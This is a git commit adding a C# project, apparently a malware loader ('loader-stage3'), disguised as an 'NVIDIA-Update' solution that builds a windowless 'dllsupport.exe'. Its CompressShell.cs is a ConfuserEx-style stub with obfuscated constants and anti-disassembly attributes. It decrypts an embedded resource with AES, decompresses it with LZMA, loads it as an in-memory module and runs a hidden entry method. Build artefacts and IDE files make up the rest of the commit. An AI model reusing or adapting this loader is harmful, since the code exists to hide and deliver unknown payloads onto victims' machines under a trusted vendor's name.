dodaj pliki czy cos

This commit is contained in:
Erdef119 2026-04-26 20:39:48 +02:00
commit b0bcf53bdb
213 changed files with 811368 additions and 0 deletions

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,87 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{C57EFF25-3255-4223-9A83-8D9C466A8644}|NVIDIA-Update.csproj|c:\\users\\erdef\\desktop\\pliki\\rzeczy\\watykanczyk-v3\\loader-stage3\\compressshell.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}",
"RelativeMoniker": "D:0:0:{C57EFF25-3255-4223-9A83-8D9C466A8644}|NVIDIA-Update.csproj|solutionrelative:compressshell.cs||{A6C744A8-0E4A-4FC6-886A-064283054674}"
}
],
"DocumentGroupContainers": [
{
"Orientation": 0,
"VerticalTabListWidth": 256,
"DocumentGroups": [
{
"DockedWidth": 200,
"SelectedChildIndex": 10,
"Children": [
{
"$type": "Bookmark",
"Name": "ST:0:0:{73068c07-fba1-453f-99ae-6edf972119b2}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
},
{
"$type": "Bookmark",
"Name": "ST:1:0:{e8b06f53-6d01-11d2-aa7d-00c04f990343}"
},
{
"$type": "Bookmark",
"Name": "ST:128:0:{1fc202d4-d401-403c-9834-5b218574bb67}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{b1ce3aef-c78d-49ee-b72b-ec1fbc908313}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{2d7728c2-de0a-45b5-99aa-89b609dfde73}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
},
{
"$type": "Bookmark",
"Name": "ST:0:0:{1c4feeaa-4718-4aa9-859d-94ce25d182ba}"
},
{
"$type": "Document",
"DocumentIndex": 0,
"Title": "CompressShell.cs",
"DocumentMoniker": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\CompressShell.cs",
"RelativeDocumentMoniker": "CompressShell.cs",
"ToolTip": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\CompressShell.cs",
"RelativeToolTip": "CompressShell.cs",
"ViewState": "AgIAABsDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
"WhenOpened": "2026-04-26T18:31:20.264Z",
"EditorCaption": ""
}
]
},
{
"DockedWidth": 1554,
"SelectedChildIndex": -1,
"Children": [
{
"$type": "Bookmark",
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
}
]
}
]
}
]
}

View file

@ -0,0 +1,849 @@
using System;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
using System.Text;
internal static class CompressShell
{
public struct State
{
public uint Index;
public void Init()
{
Index = 0u;
}
public void UpdateChar()
{
if (Index < 4)
{
Index = 0u;
}
else if (Index < 10)
{
Index -= 3u;
}
else
{
Index -= 6u;
}
}
public void UpdateMatch()
{
Index = ((Index < 7) ? 7u : 10u);
}
public void UpdateRep()
{
Index = ((Index < 7) ? 8u : 11u);
}
public void UpdateShortRep()
{
Index = ((Index < 7) ? 9u : 11u);
}
public bool IsCharState()
{
return Index < 7;
}
}
public class OutWindow
{
private byte[] _buffer;
private uint _pos;
private uint _windowSize;
private uint _streamPos;
private Stream _stream;
public void Create(uint windowSize)
{
if (_windowSize != windowSize)
{
_buffer = new byte[windowSize];
}
_windowSize = windowSize;
_pos = 0u;
_streamPos = 0u;
}
public void Init(Stream stream, bool solid)
{
ReleaseStream();
_stream = stream;
if (!solid)
{
_streamPos = 0u;
_pos = 0u;
}
}
public void ReleaseStream()
{
Flush();
_stream = null;
Buffer.BlockCopy(new byte[_buffer.Length], 0, _buffer, 0, _buffer.Length);
}
public void Flush()
{
uint num = _pos - _streamPos;
if (num != 0)
{
_stream.Write(_buffer, (int)_streamPos, (int)num);
if (_pos >= _windowSize)
{
_pos = 0u;
}
_streamPos = _pos;
}
}
public void CopyBlock(uint distance, uint len)
{
uint num = _pos - distance - 1;
if (num >= _windowSize)
{
num += _windowSize;
}
while (len != 0)
{
if (num >= _windowSize)
{
num = 0u;
}
_buffer[_pos++] = _buffer[num++];
if (_pos >= _windowSize)
{
Flush();
}
len--;
}
}
public void PutByte(byte b)
{
_buffer[_pos++] = b;
if (_pos >= _windowSize)
{
Flush();
}
}
public byte GetByte(uint distance)
{
uint num = _pos - distance - 1;
if (num >= _windowSize)
{
num += _windowSize;
}
return _buffer[num];
}
}
private class Decoder
{
public uint Range;
public uint Code;
public Stream Stream;
public void Init(Stream stream)
{
Stream = stream;
Code = 0u;
Range = uint.MaxValue;
for (int i = 0; i < 5; i++)
{
Code = (Code << 8) | (byte)Stream.ReadByte();
}
}
public void ReleaseStream()
{
Stream = null;
}
public void Normalize()
{
while (Range < (0x23BDB9FF ^ 0x22BDB9FF))
{
Code = (Code << 8) | (byte)Stream.ReadByte();
Range <<= 8;
}
}
public uint DecodeDirectBits(int numTotalBits)
{
uint num = Range;
uint num2 = Code;
uint num3 = 0u;
for (int num4 = numTotalBits; num4 > 0; num4--)
{
num >>= 1;
uint num5 = num2 - num >> (0x73B71C6 ^ 0x73B71D9);
num2 -= num & (num5 - 1);
num3 = (num3 << 1) | (1 - num5);
if (num < (0xE85FF11 ^ 0xF85FF11))
{
num2 = (num2 << 8) | (byte)Stream.ReadByte();
num <<= 8;
}
}
Range = num;
Code = num2;
return num3;
}
}
private struct BitDecoder
{
private uint Prob;
public void Init()
{
Prob = 1024u;
}
public uint Decode(Decoder rangeDecoder)
{
uint num = (rangeDecoder.Range >> 11) * Prob;
if (rangeDecoder.Code < num)
{
rangeDecoder.Range = num;
Prob += -1544461533 + (0xF304CC1 ^ 0x533EE81C) - Prob >> 5;
if (rangeDecoder.Range < -41606499 + (-1374340786 + (790639291 + 1302066284)) - (343899243 + 316081831))
{
rangeDecoder.Code = (rangeDecoder.Code << 8) | (byte)rangeDecoder.Stream.ReadByte();
rangeDecoder.Range <<= 8;
}
return 0u;
}
rangeDecoder.Range -= num;
rangeDecoder.Code -= num;
Prob -= Prob >> 5;
if (rangeDecoder.Range < (0x7B480E60 ^ 0x7A480E60))
{
rangeDecoder.Code = (rangeDecoder.Code << 8) | (byte)rangeDecoder.Stream.ReadByte();
rangeDecoder.Range <<= 8;
}
return 1u;
}
}
private struct BitTreeDecoder
{
private BitDecoder[] Models;
private int NumBitLevels;
public BitTreeDecoder(int numBitLevels)
{
NumBitLevels = numBitLevels;
Models = new BitDecoder[1 << (numBitLevels & 0x1F)];
}
public void Init()
{
for (uint num = 1u; num < 1 << (NumBitLevels & 0x1F); num++)
{
Models[num].Init();
}
}
public uint Decode(Decoder rangeDecoder)
{
uint num = 1u;
for (int num2 = NumBitLevels; num2 > 0; num2--)
{
num = (num << 1) + Models[num].Decode(rangeDecoder);
}
return num - (uint)(1 << (NumBitLevels & 0x1F));
}
public uint ReverseDecode(Decoder rangeDecoder)
{
uint num = 1u;
uint num2 = 0u;
for (int i = 0; i < NumBitLevels; i++)
{
uint num3 = Models[num].Decode(rangeDecoder);
num <<= 1;
num += num3;
num2 |= num3 << (i & 0x1F);
}
return num2;
}
public static uint ReverseDecode(BitDecoder[] Models, uint startIndex, Decoder rangeDecoder, int NumBitLevels)
{
uint num = 1u;
uint num2 = 0u;
for (int i = 0; i < NumBitLevels; i++)
{
uint num3 = Models[startIndex + num].Decode(rangeDecoder);
num <<= 1;
num += num3;
num2 |= num3 << (i & 0x1F);
}
return num2;
}
}
public class LzmaDecoder
{
private class LenDecoder
{
private BitDecoder m_Choice = default(BitDecoder);
private BitDecoder m_Choice2 = default(BitDecoder);
private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[16];
private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[16];
private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8);
private uint m_NumPosStates;
public void Create(uint numPosStates)
{
for (uint num = m_NumPosStates; num < numPosStates; num++)
{
ref BitTreeDecoder reference = ref m_LowCoder[num];
reference = new BitTreeDecoder(3);
ref BitTreeDecoder reference2 = ref m_MidCoder[num];
reference2 = new BitTreeDecoder(3);
}
m_NumPosStates = numPosStates;
}
public void Init()
{
m_Choice.Init();
for (uint num = 0u; num < m_NumPosStates; num++)
{
m_LowCoder[num].Init();
m_MidCoder[num].Init();
}
m_Choice2.Init();
m_HighCoder.Init();
}
public uint Decode(Decoder rangeDecoder, uint posState)
{
if (m_Choice.Decode(rangeDecoder) == 0)
{
return m_LowCoder[posState].Decode(rangeDecoder);
}
uint num = 8u;
if (m_Choice2.Decode(rangeDecoder) == 0)
{
return num + m_MidCoder[posState].Decode(rangeDecoder);
}
num += 8;
return num + m_HighCoder.Decode(rangeDecoder);
}
}
private class LiteralDecoder
{
private struct Decoder2
{
private BitDecoder[] m_Decoders;
public void Create()
{
unchecked
{
m_Decoders = new BitDecoder[-1353911369 + (-167763730 + ((0x36E77D23 ^ 0x51942B9B) - 1444909637 - (-1095000715 - 1156799347 - (-1764906166 - (458921394 + (579304901 + 988570354) - 1322357575))) + (0x6978E293 ^ 0x3F2E4151)))];
}
}
public void Init()
{
unchecked
{
for (int i = 0; i < -2127781350 + (-1994029929 - (-1746551488 + (0x4B7264FF ^ 0x391E028E))); i++)
{
m_Decoders[i].Init();
}
}
}
public byte DecodeNormal(Decoder rangeDecoder)
{
uint num = 1u;
unchecked
{
do
{
num = (num << 1) | m_Decoders[num].Decode(rangeDecoder);
}
while (num < (0x62BA28A4 ^ 0x1884E8B7) - (29593783 + (-1893386858 - 1566660161 + (0x3EED6726 ^ 0x3D26363F) + ((0x45D38A45 ^ 0x45F379A9) + (-1493373114 - (-487407800 + 989512910 + (1397258314 - 218371868)))))));
return (byte)num;
}
}
public byte DecodeWithMatchByte(Decoder rangeDecoder, byte matchByte)
{
uint num = 1u;
do
{
uint num2 = (uint)(matchByte >> 7) & 1u;
matchByte <<= 1;
uint num3 = m_Decoders[(1 + num2 << 8) + num].Decode(rangeDecoder);
num = (num << 1) | num3;
if (num2 != num3)
{
while (num < (0x5ACF023A ^ 0x5ACF033A))
{
num = (num << 1) | m_Decoders[num].Decode(rangeDecoder);
}
break;
}
}
while (num < -171448899 + (0x5EB02B0E ^ 0x5488304D));
return (byte)num;
}
}
private Decoder2[] m_Coders;
private int m_NumPrevBits;
private int m_NumPosBits;
private uint m_PosMask;
public void Create(int numPosBits, int numPrevBits)
{
if (m_Coders == null || m_NumPrevBits != numPrevBits || m_NumPosBits != numPosBits)
{
m_NumPosBits = numPosBits;
m_PosMask = (uint)((1 << (numPosBits & 0x1F)) - 1);
m_NumPrevBits = numPrevBits;
uint num = (uint)(1 << ((m_NumPrevBits + m_NumPosBits) & 0x1F));
m_Coders = new Decoder2[num];
for (uint num2 = 0u; num2 < num; num2++)
{
m_Coders[num2].Create();
}
}
}
public void Init()
{
uint num = (uint)(1 << ((m_NumPrevBits + m_NumPosBits) & 0x1F));
for (uint num2 = 0u; num2 < num; num2++)
{
m_Coders[num2].Init();
}
}
private uint GetState(uint pos, byte prevByte)
{
return ((pos & m_PosMask) << (m_NumPrevBits & 0x1F)) + (uint)(prevByte >> ((8 - m_NumPrevBits) & 0x1F));
}
public byte DecodeNormal(Decoder rangeDecoder, uint pos, byte prevByte)
{
return m_Coders[GetState(pos, prevByte)].DecodeNormal(rangeDecoder);
}
public byte DecodeWithMatchByte(Decoder rangeDecoder, uint pos, byte prevByte, byte matchByte)
{
return m_Coders[GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte);
}
}
private OutWindow m_OutWindow = new OutWindow();
private Decoder m_RangeDecoder = new Decoder();
private BitDecoder[] m_IsMatchDecoders = new BitDecoder[224961680 - (-969878539 + 1194840027)];
private BitDecoder[] m_IsRepDecoders = new BitDecoder[12];
private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[12];
private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[12];
private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[12];
private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[0x340C2DC0 ^ 0x340C2D00];
private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[4];
private BitDecoder[] m_PosDecoders = new BitDecoder[0x6A7DDF32 ^ 0x6A7DDF40];
private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4);
private LenDecoder m_LenDecoder = new LenDecoder();
private LenDecoder m_RepLenDecoder = new LenDecoder();
private LiteralDecoder m_LiteralDecoder = new LiteralDecoder();
private uint m_DictionarySize;
private uint m_DictionarySizeCheck;
private uint m_PosStateMask;
private bool _solid;
public LzmaDecoder()
{
m_DictionarySize = uint.MaxValue;
for (int i = 0; (long)i < 4L; i++)
{
ref BitTreeDecoder reference = ref m_PosSlotDecoder[i];
reference = new BitTreeDecoder(6);
}
}
private void SetDictionarySize(uint dictionarySize)
{
if (m_DictionarySize != dictionarySize)
{
m_DictionarySize = dictionarySize;
m_DictionarySizeCheck = Math.Max(m_DictionarySize, 1u);
uint windowSize = Math.Max(m_DictionarySizeCheck, 4096u);
m_OutWindow.Create(windowSize);
}
}
private void SetLiteralProperties(int lp, int lc)
{
m_LiteralDecoder.Create(lp, lc);
}
private void SetPosBitsProperties(int pb)
{
uint num = (uint)(1 << (pb & 0x1F));
m_LenDecoder.Create(num);
m_RepLenDecoder.Create(num);
m_PosStateMask = num - 1;
}
private void Init(Stream inStream, Stream outStream)
{
m_RangeDecoder.Init(inStream);
m_OutWindow.Init(outStream, _solid);
for (uint num = 0u; num < 12; num++)
{
for (uint num2 = 0u; num2 <= m_PosStateMask; num2++)
{
uint num3 = (num << 4) + num2;
m_IsMatchDecoders[num3].Init();
m_IsRep0LongDecoders[num3].Init();
}
m_IsRepDecoders[num].Init();
m_IsRepG0Decoders[num].Init();
m_IsRepG1Decoders[num].Init();
m_IsRepG2Decoders[num].Init();
}
m_LiteralDecoder.Init();
for (uint num = 0u; num < 4; num++)
{
m_PosSlotDecoder[num].Init();
}
for (uint num = 0u; num < (0x1838F70C ^ 0x1838F77E); num++)
{
m_PosDecoders[num].Init();
}
m_LenDecoder.Init();
m_RepLenDecoder.Init();
m_PosAlignDecoder.Init();
}
public void Code(Stream inStream, Stream outStream, long inSize, long outSize)
{
Init(inStream, outStream);
State state = default(State);
state.Init();
uint num = 0u;
uint num2 = 0u;
uint num3 = 0u;
uint num4 = 0u;
ulong num5 = 0uL;
if (num5 < (ulong)outSize)
{
if (m_IsMatchDecoders[state.Index << 4].Decode(m_RangeDecoder) != 0)
{
throw new Exception();
}
state.UpdateChar();
byte b = m_LiteralDecoder.DecodeNormal(m_RangeDecoder, 0u, 0);
m_OutWindow.PutByte(b);
num5++;
}
while (num5 < (ulong)outSize)
{
uint num6 = (uint)(int)num5 & m_PosStateMask;
if (m_IsMatchDecoders[(state.Index << 4) + num6].Decode(m_RangeDecoder) == 0)
{
byte @byte = m_OutWindow.GetByte(0u);
byte b2 = (state.IsCharState() ? m_LiteralDecoder.DecodeNormal(m_RangeDecoder, (uint)num5, @byte) : m_LiteralDecoder.DecodeWithMatchByte(m_RangeDecoder, (uint)num5, @byte, m_OutWindow.GetByte(num)));
m_OutWindow.PutByte(b2);
state.UpdateChar();
num5++;
continue;
}
uint num8;
if (m_IsRepDecoders[state.Index].Decode(m_RangeDecoder) == 1)
{
if (m_IsRepG0Decoders[state.Index].Decode(m_RangeDecoder) == 0)
{
if (m_IsRep0LongDecoders[(state.Index << 4) + num6].Decode(m_RangeDecoder) == 0)
{
state.UpdateShortRep();
m_OutWindow.PutByte(m_OutWindow.GetByte(num));
num5++;
continue;
}
}
else
{
uint num7;
if (m_IsRepG1Decoders[state.Index].Decode(m_RangeDecoder) == 0)
{
num7 = num2;
}
else
{
if (m_IsRepG2Decoders[state.Index].Decode(m_RangeDecoder) == 0)
{
num7 = num3;
}
else
{
num7 = num4;
num4 = num3;
}
num3 = num2;
}
num2 = num;
num = num7;
}
num8 = m_RepLenDecoder.Decode(m_RangeDecoder, num6) + 2;
state.UpdateRep();
}
else
{
num4 = num3;
num3 = num2;
num2 = num;
num8 = 2 + m_LenDecoder.Decode(m_RangeDecoder, num6);
state.UpdateMatch();
uint num9 = m_PosSlotDecoder[GetLenToPosState(num8)].Decode(m_RangeDecoder);
if (num9 >= 4)
{
int num10 = (int)((num9 >> 1) - 1);
num = (2 | (num9 & 1)) << (num10 & 0x1F);
if (num9 < 14)
{
num += BitTreeDecoder.ReverseDecode(m_PosDecoders, num - num9 - 1, m_RangeDecoder, num10);
}
else
{
num += m_RangeDecoder.DecodeDirectBits(num10 - 4) << 4;
num += m_PosAlignDecoder.ReverseDecode(m_RangeDecoder);
}
}
else
{
num = num9;
}
}
if ((num >= num5 || num >= m_DictionarySizeCheck) && num == uint.MaxValue)
{
break;
}
m_OutWindow.CopyBlock(num, num8);
num5 += num8;
}
m_OutWindow.Flush();
m_OutWindow.ReleaseStream();
m_RangeDecoder.ReleaseStream();
}
public void SetDecoderProperties(byte[] properties)
{
int lc = properties[0] % 9;
int num = properties[0] / 9;
int lp = num % 5;
int posBitsProperties = num / 5;
uint num2 = 0u;
for (int i = 0; i < 4; i++)
{
num2 += (uint)(properties[1 + i] << ((i * 8) & 0x1F));
}
SetDictionarySize(num2);
SetLiteralProperties(lp, lc);
SetPosBitsProperties(posBitsProperties);
}
}
private static string Res = "쩼퓈쮾⥨㘟\uf363\ue0e4魎";
private static ulong Rid = 742343218uL;
private static Module Mod;
public static uint GetLenToPosState(uint len)
{
len -= 2;
if (len < 4)
{
return len;
}
return 3u;
}
private static Assembly DecryptAsm(object sender, ResolveEventArgs e)
{
byte[] bytes = Encoding.UTF8.GetBytes(e.Name);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] = (byte)(bytes[i] ^ 0x5A ^ i);
}
string @string = Encoding.UTF8.GetString(bytes);
Stream manifestResourceStream = typeof(CompressShell).Assembly.GetManifestResourceStream(@string);
if (manifestResourceStream != null)
{
byte[] asm;
using (BinaryReader binaryReader = new BinaryReader(manifestResourceStream))
{
asm = binaryReader.ReadBytes((int)manifestResourceStream.Length);
}
asm = Decrypt(asm);
Assembly result = Assembly.Load(asm);
byte[] src = new byte[asm.Length];
Buffer.BlockCopy(src, 0, asm, 0, asm.Length);
return result;
}
return null;
}
private static Assembly ResolveResource(object sender, ResolveEventArgs e)
{
byte[] bytes = Encoding.UTF8.GetBytes(e.Name);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] = (byte)(bytes[i] ^ 0x79 ^ i);
}
string @string = Encoding.UTF8.GetString(bytes);
Stream manifestResourceStream = typeof(CompressShell).Assembly.GetManifestResourceStream(@string);
if (manifestResourceStream != null)
{
byte[] asm;
using (BinaryReader binaryReader = new BinaryReader(manifestResourceStream))
{
asm = binaryReader.ReadBytes((int)manifestResourceStream.Length);
}
asm = Decrypt(asm);
Assembly result = Assembly.Load(asm);
byte[] src = new byte[asm.Length];
Buffer.BlockCopy(src, 0, asm, 0, asm.Length);
return result;
}
return null;
}
private static byte[] Decrypt(byte[] asm)
{
byte[] buffer;
byte[] rgbIV;
byte[] array;
using (BinaryReader binaryReader = new BinaryReader(new MemoryStream(asm)))
{
buffer = binaryReader.ReadBytes(binaryReader.ReadInt32());
rgbIV = binaryReader.ReadBytes(binaryReader.ReadInt32());
array = binaryReader.ReadBytes(binaryReader.ReadInt32());
}
int num = -1585504039 + 1585504269;
for (int i = 0; i < array.Length; i += 4)
{
array[i] ^= (byte)(num & 0xFF);
array[i + 1] ^= (byte)((num & 0xFF00) >> 8);
array[i + 2] ^= (byte)((num & 0xFF0000) >> 16);
array[i + 3] ^= (byte)((num & 0xFF000000u) >> 2023983611 - (0x71B8DDA2 ^ 0x91B5441));
}
RijndaelManaged rijndaelManaged = new RijndaelManaged();
using CryptoStream cryptoStream = new CryptoStream(new MemoryStream(buffer), rijndaelManaged.CreateDecryptor(array, rgbIV), CryptoStreamMode.Read);
byte[] array2 = new byte[4];
cryptoStream.Read(array2, 0, 4);
uint num2 = BitConverter.ToUInt32(array2, 0);
LzmaDecoder lzmaDecoder = new LzmaDecoder();
byte[] array3 = new byte[5];
cryptoStream.Read(array3, 0, 5);
lzmaDecoder.SetDecoderProperties(array3);
long num3 = 0L;
for (int j = 0; j < 8; j++)
{
int num4 = cryptoStream.ReadByte();
if (num4 < 0)
{
throw new Exception("Can't Read 1");
}
num3 |= (long)((ulong)(byte)num4 << ((8 * j) & 0x3F));
}
byte[] array4 = new byte[num3];
long inSize = num2 - 13;
lzmaDecoder.Code(cryptoStream, new MemoryStream(array4, writable: true), inSize, num3);
return array4;
}
private static ulong modPow(ulong bas, ulong pow, ulong mod)
{
ulong num = 1uL;
while (pow != 0)
{
if ((pow & 1) != 0)
{
num = num * bas % mod;
}
pow >>= 1;
bas = bas * bas % mod;
}
return num;
}
[STAThread]
private static int Main(string[] args)
{
Assembly entryAssembly = Assembly.GetEntryAssembly();
Stream manifestResourceStream = entryAssembly.GetManifestResourceStream(Res);
byte[] asm;
using (BinaryReader binaryReader = new BinaryReader(manifestResourceStream))
{
asm = binaryReader.ReadBytes((int)manifestResourceStream.Length);
}
asm = Decrypt(asm);
//File.WriteAllBytes("c:\\maicjadir\\prewatykan.exe", asm); zapisywanie zdekryptowanego assembly :3
Mod = entryAssembly.LoadModule("___.netmodule", asm);
byte[] src = new byte[asm.Length];
Buffer.BlockCopy(src, 0, asm, 0, asm.Length);
AppDomain.CurrentDomain.AssemblyResolve += DecryptAsm;
MethodBase methodBase = Mod.ResolveMethod(0x6000000 | (int)modPow(Rid, 71uL, 0x47F60C88uL ^ 0x3A3757F3L));
object obj = ((methodBase.GetParameters().Length != 1) ? methodBase.Invoke(null, null) : methodBase.Invoke(null, new object[1] { args }));
if (obj is int)
{
return (int)obj;
}
return 0;
}
}

View file

@ -0,0 +1,8 @@
using System;
internal class ConfusedByAttribute : Attribute
{
public ConfusedByAttribute(string P_0)
{
}
}

View file

@ -0,0 +1,22 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<AssemblyName>dllsupport</AssemblyName>
<GenerateAssemblyInfo>False</GenerateAssemblyInfo>
<OutputType>WinExe</OutputType>
<TargetFramework>net20</TargetFramework>
<PlatformTarget>x86</PlatformTarget>
</PropertyGroup>
<PropertyGroup>
<LangVersion>11.0</LangVersion>
<AllowUnsafeBlocks>True</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>app.ico</ApplicationIcon>
<RootNamespace />
</PropertyGroup>
<ItemGroup>
<None Remove="쩼퓈쮾-㘟--魎" />
<EmbeddedResource Include="쩼퓈쮾-㘟--魎" LogicalName="쩼퓈쮾⥨㘟魎" />
</ItemGroup>
<ItemGroup />
</Project>

View file

@ -0,0 +1,25 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.9.34622.214
MinimumVisualStudioVersion = 10.0.40219.1
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NVIDIA-Update", "NVIDIA-Update.csproj", "{C57EFF25-3255-4223-9A83-8D9C466A8644}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C57EFF25-3255-4223-9A83-8D9C466A8644}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C57EFF25-3255-4223-9A83-8D9C466A8644}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C57EFF25-3255-4223-9A83-8D9C466A8644}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C57EFF25-3255-4223-9A83-8D9C466A8644}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {971D6650-0A9D-4766-8C5E-14CDEABBE326}
EndGlobalSection
EndGlobal

View file

@ -0,0 +1,6 @@
using System.Reflection;
using System.Runtime.CompilerServices;
[assembly: AssemblyVersion("2.1.3.7")]
[module: ConfusedBy("Confuser v1.9.0.0")]
[module: SuppressIldasm]

BIN
loader-stage3/app.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v2.0.50727" />
</startup>
</configuration>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View file

@ -0,0 +1,8 @@
is_global = true
build_property.RootNamespace =
build_property.ProjectDir = C:\Users\Erdef\Desktop\pliki\rzeczy\Watykanczyk-V3\loader-stage3\
build_property.EnableComHosting =
build_property.EnableGeneratedComInterfaceComImportInterop =
build_property.CsWinRTUseWindowsUIXamlProjections = false
build_property.EffectiveAnalysisLevelStyle =
build_property.EnableCodeStyleSeverity =

View file

@ -0,0 +1 @@
f3d16d7e414e3124d36695ba486d943940d19c457ddfff6eaa0f19bb4304b8b4

View file

@ -0,0 +1,25 @@
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\dllsupport.exe.config
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\dllsupport.exe
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\dllsupport.pdb
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\mscorlib.dll
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\pl\mscorlib.resources.dll
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\sortkey.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\sorttbls.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\big5.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\bopomofo.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\ksc.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\prc.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\prcp.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\xjis.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\normidna.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\normnfc.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\normnfd.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\normnfkc.nlp
C:\projects\Watykanczyk-V3\loader-stage3\bin\Debug\net20\normnfkd.nlp
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\NVIDIA-Update.csproj.AssemblyReference.cache
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\NVIDIA-Update.GeneratedMSBuildEditorConfig.editorconfig
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\NVIDIA-Update.csproj.CoreCompileInputs.cache
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\NVIDIA-Update.sourcelink.json
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\NVIDIA-U.03D7B975.Up2Date
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\dllsupport.exe
C:\projects\Watykanczyk-V3\loader-stage3\obj\Debug\net20\dllsupport.pdb

View file

@ -0,0 +1 @@
{"documents":{"C:\\projects\\Watykanczyk-V3\\*":"https://raw.githubusercontent.com/mksmaicja/Watykanczyk-V3/41e7b332c5a37902879bececacd96261f47e0d6c/*"}}

View file

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v2.0.50727" />
</startup>
</configuration>

Binary file not shown.

View file

@ -0,0 +1,70 @@
{
"format": 1,
"restore": {
"C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj": {}
},
"projects": {
"C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj": {
"version": "1.0.0",
"restore": {
"projectUniqueName": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj",
"projectName": "dllsupport",
"projectPath": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\NVIDIA-Update.csproj",
"packagesPath": "C:\\Users\\Erdef\\.nuget\\packages\\",
"outputPath": "C:\\Users\\Erdef\\Desktop\\pliki\\rzeczy\\Watykanczyk-V3\\loader-stage3\\obj\\",
"projectStyle": "PackageReference",
"fallbackFolders": [
"C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages"
],
"configFilePaths": [
"C:\\Users\\Erdef\\AppData\\Roaming\\NuGet\\NuGet.Config",
